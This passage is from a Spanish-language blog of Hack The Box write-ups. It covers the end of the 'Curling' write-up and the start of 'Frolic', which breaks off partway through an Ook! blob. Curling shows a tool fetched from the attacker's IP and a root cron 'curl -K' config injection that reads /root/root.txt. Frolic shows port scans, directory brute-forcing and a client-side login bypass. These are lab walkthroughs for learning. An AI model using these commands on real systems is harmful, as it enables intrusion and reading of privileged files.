</span></span><span style="display:flex;"><span>floris@curling:~/admin-area$ cat input
</span></span><span style="display:flex;"><span>url = &#34;http://127.0.0.1&#34;
</span></span></code></pre></div><p>Ese es el contenido que se reinicia, pero no sabemos aun como ese contenido tiene relación, ya que aun no sabemos como este archivo es usado por root o floris. Esto nos lleva a explorar a mayor detalle los procesos que se generan dentro de la maquina, por lo que descargamos <em>pspy</em> para explorar los procesos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>floris@curling:/dev/shm$ wget http://10.10.12.67:4001/pspy64s
</span></span><span style="display:flex;"><span>--2019-04-02 04:50:55--  http://10.10.12.67:4001/pspy64s
</span></span><span style="display:flex;"><span>Connecting to 10.10.12.67:4001... connected.
</span></span><span style="display:flex;"><span>HTTP request sent, awaiting response... 200 OK
</span></span><span style="display:flex;"><span>Length: 935452 (914K) [application/octet-stream]
</span></span><span style="display:flex;"><span>Saving to: ‘pspy64s’
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pspy64s                           100%[============================================================&gt;] 913.53K   145KB/s    in 10s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-04-02 04:51:06 (91.3 KB/s) - ‘pspy64s’ saved [935452/935452]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>floris@curling:/dev/shm$ chmod +x pspy64s
</span></span></code></pre></div><p>Tras ejecutar pspy y esperar un minuto veremos los cronjobs ejecutados como root:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>2019/04/02 04:54:01 CMD: UID=0    PID=6752   | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
</span></span><span style="display:flex;"><span>2019/04/02 04:54:01 CMD: UID=0    PID=6751   | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
</span></span><span style="display:flex;"><span>2019/04/02 04:54:01 CMD: UID=0    PID=6750   | sleep 1
</span></span><span style="display:flex;"><span>2019/04/02 04:54:01 CMD: UID=0    PID=6749   | /bin/sh -c sleep 1; cat /root/default.txt &gt; /home/floris/admin-area/input
</span></span><span style="display:flex;"><span>2019/04/02 04:54:01 CMD: UID=0    PID=6748   | /usr/sbin/CRON -f
</span></span><span style="display:flex;"><span>2019/04/02 04:54:01 CMD: UID=0    PID=6747   | /usr/sbin/CRON -f
</span></span></code></pre></div><p>Como podemos ver, root ejecuta el archivo <em>input</em> con <code>curl -K</code> para generar el archivo <em>report</em>.</p>
<p>Espera que el reporte se ejecute correctamente dentro de 60 segundos y reinicia el archivo input.</p>
<h1 id="roottxt">root.txt</h1>
<p>Ahora que sabemos como funciona los cronjobs de root, podemos realizar unos ajustes ya que la opcion <code>\-K</code> recibe como parámetro el archivo de input de configuración, lo cual nos permite controlar algunas opciones como url:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>floris@curling:~/admin-area$ echo &#34;url = \&#34;file:///root/root.txt\&#34;\noutput = /dev/shm/.deleteafterread&#34; &gt; input
</span></span><span style="display:flex;"><span>floris@curling:~/admin-area$ sleep 1 &amp;&amp; cat /dev/shm/.deleteafterread &amp;&amp; rm /dev/shm/.deleteafterread
</span></span></code></pre></div><p>&hellip; We got root flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Frolic</title><link>https://www.xbyte.mx/posts/htb_writeup_-_frolic/</link><pubDate>Sat, 23 Mar 2019 10:03:22 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_frolic/</guid><description>&lt;p&gt;Esta maquina me ha divertido mucho, inicias con una enumeración normal, te encuentras ante varias puertas y empiezas a tocarlas hasta que una se abre y boom, Ook! esolang. Continuas otro poco y boom, brainfuck. Llegas al fabuloso user.txt, y te topas con un archivo llamado rop. Aquí comienza el exploiting.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Esta maquina me ha divertido mucho, inicias con una enumeración normal, te encuentras ante varias puertas y empiezas a tocarlas hasta que una se abre y boom, Ook! esolang. Continuas otro poco y boom, brainfuck. Llegas al fabuloso user.txt, y te topas con un archivo llamado rop. Aquí comienza el exploiting.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/6eb13dd9cfe9c0b0e64ba78304253aac_thumb.png" alt="frolic image"> <a href="https://www.hackthebox.eu/home/machines/profile/158">frolic</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/27390">felamos</a></td>
          <td>Linux</td>
          <td>10.10.10.111</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-frolic/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- 10.10.10.111 --open -v -n
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 13:44 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 13:44
</span></span><span style="display:flex;"><span>Scanning 10.10.10.111 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 13:44, 0.23s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 13:44
</span></span><span style="display:flex;"><span>Scanning 10.10.10.111 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.111
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.111
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.111
</span></span><span style="display:flex;"><span>Discovered open port 9999/tcp on 10.10.10.111
</span></span><span style="display:flex;"><span>Discovered open port 1880/tcp on 10.10.10.111
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 13:47, 136.66s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.111
</span></span><span style="display:flex;"><span>Host is up (0.18s latency).
</span></span><span style="display:flex;"><span>Not shown: 65457 closed ports, 73 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>22/tcp   open  ssh
</span></span><span style="display:flex;"><span>139/tcp  open  netbios-ssn
</span></span><span style="display:flex;"><span>445/tcp  open  microsoft-ds
</span></span><span style="display:flex;"><span>1880/tcp open  vsat-control
</span></span><span style="display:flex;"><span>9999/tcp open  abyss
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 137.06 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 189411 (8.334MB) | Rcvd: 177435 (7.097MB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Corroboremos con <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.111
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-03 16:59:55 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.111
</span></span><span style="display:flex;"><span>Discovered open port 1880/tcp on 10.10.10.111
</span></span><span style="display:flex;"><span>Discovered open port 139/tcp on 10.10.10.111
</span></span><span style="display:flex;"><span>Discovered open port 445/tcp on 10.10.10.111
</span></span><span style="display:flex;"><span>Discovered open port 137/udp on 10.10.10.111
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos en TCP, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -sV -p22,139,445,1880,9999 10.10.10.111
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 13:50 CST
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.111
</span></span><span style="display:flex;"><span>Host is up (0.18s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE  SERVICE     VERSION
</span></span><span style="display:flex;"><span>22/tcp   open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
</span></span><span style="display:flex;"><span>137/tcp  closed netbios-ns
</span></span><span style="display:flex;"><span>139/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
</span></span><span style="display:flex;"><span>445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
</span></span><span style="display:flex;"><span>1880/tcp open   http        Node.js (Express middleware)
</span></span><span style="display:flex;"><span>9999/tcp open   http        nginx 1.10.3 (Ubuntu)
</span></span><span style="display:flex;"><span>Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 13.79 seconds
</span></span></code></pre></div><ul>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-p22,139,445,1880,9999</code> para unicamente los puertos que descubrimos anteriormente</li>
</ul>
<p>Concluimos que tenemos carpetas compartidas, dos servidores Web y uno ssh.</p>
<h1 id="gobuster">Gobuster</h1>
<p>Vamos a lanzar unos amigables gobuster sobre el puerto TCP/9999 de frolic, concatenando las carpetas descubiertas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ ~/tools/gobuster -u http://10.10.10.111:9999/ -w ~/git/SecLists/Discovery/Web-Content/common.txt -s &#39;200,204,301,302,307,403,500&#39; -t 20 -x php,txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.111:9999/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403,500
</span></span><span style="display:flex;"><span>[+] Extensions   : php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 12:49:53 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/.hta (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.txt (Status: 403)
</span></span><span style="display:flex;"><span>/admin (Status: 301)
</span></span><span style="display:flex;"><span>/backup (Status: 301)
</span></span><span style="display:flex;"><span>/dev (Status: 301)
</span></span><span style="display:flex;"><span>/test (Status: 301)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 12:52:36 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>xbytemx@laptop:~$ ~/tools/gobuster -u http://10.10.10.111:9999/admin/ -w ~/git/SecLists/Discovery/Web-Content/common.txt -s &#39;200,204,301,302,307,403,500&#39; -t 20 -x php,txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.111:9999/admin/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403,500
</span></span><span style="display:flex;"><span>[+] Extensions   : php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 13:03:53 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/.hta (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.txt (Status: 403)
</span></span><span style="display:flex;"><span>/css (Status: 301)
</span></span><span style="display:flex;"><span>/index.html (Status: 200)
</span></span><span style="display:flex;"><span>/js (Status: 301)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 13:07:03 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>xbytemx@laptop:~$ ~/tools/gobuster -u http://10.10.10.111:9999/backup/ -w ~/git/SecLists/Discovery/Web-Content/common.txt -s &#39;200,204,301,302,307,403,500&#39; -t 20 -x php,txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.111:9999/backup/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403,500
</span></span><span style="display:flex;"><span>[+] Extensions   : php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 13:10:04 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/.htpasswd (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.hta (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.txt (Status: 403)
</span></span><span style="display:flex;"><span>/index.php (Status: 200)
</span></span><span style="display:flex;"><span>/index.php (Status: 200)
</span></span><span style="display:flex;"><span>/password.txt (Status: 200)
</span></span><span style="display:flex;"><span>/user.txt (Status: 200)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 13:13:00 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>xbytemx@laptop:~$ ~/tools/gobuster -u http://10.10.10.111:9999/dev/ -w ~/git/SecLists/Discovery/Web-Content/common.txt -s &#39;200,204,301,302,307,403,500&#39; -t 20 -x php,txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.111:9999/dev/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403,500
</span></span><span style="display:flex;"><span>[+] Extensions   : php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 13:20:23 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/.htaccess (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.hta (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.txt (Status: 403)
</span></span><span style="display:flex;"><span>/backup (Status: 301)
</span></span><span style="display:flex;"><span>/test (Status: 200)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 13:23:03 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>xbytemx@laptop:~$ ~/tools/gobuster -u http://10.10.10.111:9999/test/ -w ~/git/SecLists/Discovery/Web-Content/common.txt -s &#39;200,204,301,302,307,403,500&#39; -t 20 -x php,txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.111:9999/test/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/SecLists/Discovery/Web-Content/common.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403,500
</span></span><span style="display:flex;"><span>[+] Extensions   : php,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 13:25:23 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/.htaccess (Status: 403)
</span></span><span style="display:flex;"><span>/.htaccess.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.hta (Status: 403)
</span></span><span style="display:flex;"><span>/.hta.txt (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd (Status: 403)
</span></span><span style="display:flex;"><span>/.htpasswd.txt (Status: 403)
</span></span><span style="display:flex;"><span>/index.php (Status: 200)
</span></span><span style="display:flex;"><span>/index.php (Status: 200)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/01/04 13:27:35 Finished
</span></span><span style="display:flex;"><span>=====================================================
</span></span></code></pre></div><ul>
<li><code>-u http://10.10.10.111:9999/</code> + la carpeta deseada, para indicarle la URL sobre la cual buscara directorios o archivos</li>
<li><code>-w common.txt</code> para el diccionario en el cual se encuentran los archivos mas comunes a buscar</li>
<li><code>-s '200,204,301,302,307,403,500'</code> para aceptar los tipos de Status codes como respuesta valida</li>
<li><code>-x php,txt</code> para no solo buscar carpetas, sino archivos con esa extensión usando el mismo diccionario</li>
<li><code>-t 20</code> para indicar cuantos hilos estaremos usando para buscar</li>
</ul>
<p>Tenemos varias respuestas interesantes, pero de momento, enfoquemos nos en la carpeta admin.</p>
<h1 id="http-on-admin">HTTP on admin</h1>
<p>Como a mi me gusta mostrar los resultados de las pruebas en lugar de <em>imágenes</em> usemos HTTPie para efectuar la navegación hacia la pagina:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ http http://10.10.10.111:9999/admin/
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Fri, 04 Jan 2019 18:43:59 GMT
</span></span><span style="display:flex;"><span>ETag: W/&#34;5ba7793f-27a&#34;
</span></span><span style="display:flex;"><span>Last-Modified: Sun, 23 Sep 2018 11:30:07 GMT
</span></span><span style="display:flex;"><span>Server: nginx/1.10.3 (Ubuntu)
</span></span><span style="display:flex;"><span>Transfer-Encoding: chunked
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;html&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>&lt;title&gt;Crack me :|&lt;/title&gt;
</span></span><span style="display:flex;"><span>&lt;!-- Include CSS File Here --&gt;
</span></span><span style="display:flex;"><span>&lt;link rel=&#34;stylesheet&#34; href=&#34;css/style.css&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;!-- Include JS File Here --&gt;
</span></span><span style="display:flex;"><span>&lt;script src=&#34;js/login.js&#34;&gt;&lt;/script&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>&lt;div class=&#34;container&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;div class=&#34;main&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;h2&gt;c&#39;mon i m hackable&lt;/h2&gt;
</span></span><span style="display:flex;"><span>&lt;form id=&#34;form_id&#34; method=&#34;post&#34; name=&#34;myform&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;label&gt;User Name :&lt;/label&gt;
</span></span><span style="display:flex;"><span>&lt;input type=&#34;text&#34; name=&#34;username&#34; id=&#34;username&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;label&gt;Password :&lt;/label&gt;
</span></span><span style="display:flex;"><span>&lt;input type=&#34;password&#34; name=&#34;password&#34; id=&#34;password&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;input type=&#34;button&#34; value=&#34;Login&#34; id=&#34;submit&#34; onclick=&#34;validate()&#34;/&gt;
</span></span><span style="display:flex;"><span>&lt;/form&gt;
</span></span><span style="display:flex;"><span>&lt;span&gt;&lt;b class=&#34;note&#34;&gt;Note : Nothing&lt;/b&gt;&lt;/span&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Encontramos un form que hace la validación de los usuarios en el portal de admin. Veamos sin encontramos algo en el archivo login.js porque para loggear se ejecuta validate().</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ http http://10.10.10.111:9999/admin/js/login.js
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Accept-Ranges: bytes
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Content-Length: 752
</span></span><span style="display:flex;"><span>Content-Type: application/javascript
</span></span><span style="display:flex;"><span>Date: Fri, 04 Jan 2019 18:44:04 GMT
</span></span><span style="display:flex;"><span>ETag: &#34;5ba77a36-2f0&#34;
</span></span><span style="display:flex;"><span>Last-Modified: Sun, 23 Sep 2018 11:34:14 GMT
</span></span><span style="display:flex;"><span>Server: nginx/1.10.3 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>var attempt = 3; // Variable to count number of attempts.
</span></span><span style="display:flex;"><span>// Below function Executes on click of login button.
</span></span><span style="display:flex;"><span>function validate(){
</span></span><span style="display:flex;"><span>var username = document.getElementById(&#34;username&#34;).value;
</span></span><span style="display:flex;"><span>var password = document.getElementById(&#34;password&#34;).value;
</span></span><span style="display:flex;"><span>if ( username == &#34;admin&#34; &amp;&amp; password == &#34;superduperlooperpassword_lol&#34;){
</span></span><span style="display:flex;"><span>alert (&#34;Login successfully&#34;);
</span></span><span style="display:flex;"><span>window.location = &#34;success.html&#34;; // Redirecting to other page.
</span></span><span style="display:flex;"><span>return false;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>else{
</span></span><span style="display:flex;"><span>attempt --;// Decrementing by one.
</span></span><span style="display:flex;"><span>alert(&#34;You have left &#34;+attempt+&#34; attempt;&#34;);
</span></span><span style="display:flex;"><span>// Disabling fields after 3 attempts.
</span></span><span style="display:flex;"><span>if( attempt == 0){
</span></span><span style="display:flex;"><span>document.getElementById(&#34;username&#34;).disabled = true;
</span></span><span style="display:flex;"><span>document.getElementById(&#34;password&#34;).disabled = true;
</span></span><span style="display:flex;"><span>document.getElementById(&#34;submit&#34;).disabled = true;
</span></span><span style="display:flex;"><span>return false;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Si prestamos atención, tenemos un if donde tenemos unas credenciales hardcodeadas: <code>username == &quot;admin&quot; &amp;&amp; password == &quot;superduperlooperpassword_lol&quot;</code>. Pero esto es interesante porque la validación se da del lado del cliente y no del servidor, por lo que ¿óomo sabe el servidor si estamos o no estamos autenticados? Bueno, en realidad no lo sabe, por lo que podemos consultar directamente la pagina <code>success.html</code>.</p>
<h1 id="successhtml">success.html</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ http --form http://10.10.10.111:9999/admin/success.html
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Connection: keep-alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Type: text/html
</span></span><span style="display:flex;"><span>Date: Fri, 04 Jan 2019 18:46:38 GMT
</span></span><span style="display:flex;"><span>ETag: W/&#34;5ba779d1-5f9&#34;
</span></span><span style="display:flex;"><span>Last-Modified: Sun, 23 Sep 2018 11:32:33 GMT
</span></span><span style="display:flex;"><span>Server: nginx/1.10.3 (Ubuntu)
</span></span><span style="display:flex;"><span>Transfer-Encoding: chunked
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
</span></span><span style="display:flex;"><span>..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
</span></span><span style="display:flex;"><span>....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
</span></span><span style="display:flex;"><span>..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
</span></span><span style="display:flex;"><span>!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
</span></span><span style="display:flex;"><span>..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
</span></span><span style="display:flex;"><span>?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
</span></span><span style="display:flex;"><span>..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
